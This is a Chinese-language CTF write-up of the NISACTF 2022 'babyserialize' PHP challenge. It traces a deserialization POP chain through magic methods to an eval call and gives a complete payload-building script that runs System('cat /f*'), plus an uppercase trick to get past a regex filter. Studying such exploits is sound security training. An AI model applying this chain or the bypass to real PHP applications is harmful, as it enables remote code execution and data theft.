[NISACTF 2022] babyserialize超详解

审计源码

fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>



思路

首先我们审计代码,寻找危险函数等,

 @eval($this->txw4ever);

​eval​ 是 PHP 的一个内置函数,用于将字符串作为 PHP 代码执行

所以我们可以利用这个txw4ever,来调用系统函数实现命令执行

那我们想要触发__invoke​需要将对象当作函数调用时才会触发,继续审计代码

找到return $bb();​很明显可以利用

继续触发__toString​

_toString⽅法是当对象被当做字符串的时候会触发

​这就不得不提到strtolower​函数 ,该函数将字符串转换成小写,可以触发

继续寻找如何触发 __set​

_set方法是对不存在或者不可访问的变量进行赋值就会自动调用

​ $this->huang->fun=$arg[0];​

因为在Ilovetxw类里面并不存在fun这个参数

call方法是对不存在的方法或者不可访问的方法进行调用就自动调用

​ $this->ext->nisa($this->x);​

发现nisa里面不存在该方法

最后找到wakeup方法

该函数在使用unserilize

之前就会触发

编写脚本

fun=="show_me_flag"){
            hint();
        }
    }
 
    function __call($from,$val){
        $this->fun=$val[0];
    }
 
    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}
 
class TianXiWei{
    public $ext; //5 Ilovetxw
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}
 
class Ilovetxw{
    public $huang; //4 four
    public $su; //2 NISA
 
    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }
 
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}
 
class four{
    public $a="TXW4EVER"; //3 Ilovetxw
    private $fun='sixsixsix'; //fun = "sixsixsix
 
    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
 
 
$a = new NISA();
$a->txw4ever = 'System("cat /f*");';
$a->fun = "666";
$i = new Ilovetxw();
$i->su = $a;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));

 [NISACTF 2022] babyserialize超详解_第1张图片

绕过

1, 绕过hint函数

有提示

//function hint(){
//    echo ".......";
//    die();
//}

在题目中找到hint函数位置

public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

所以我们只要使fun不等于show_me_flag if语句判断不成立即可

2、preg_match的绕过

众所周知 preg_match用来进行正则匹配

我们找到提示

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

它并没有告诉我们 过滤的内容,发现如果我们使用system命令的话

会返回错误值

将小写改成大写即可

你可能感兴趣的:(反序列化,安全,学习,网络,php)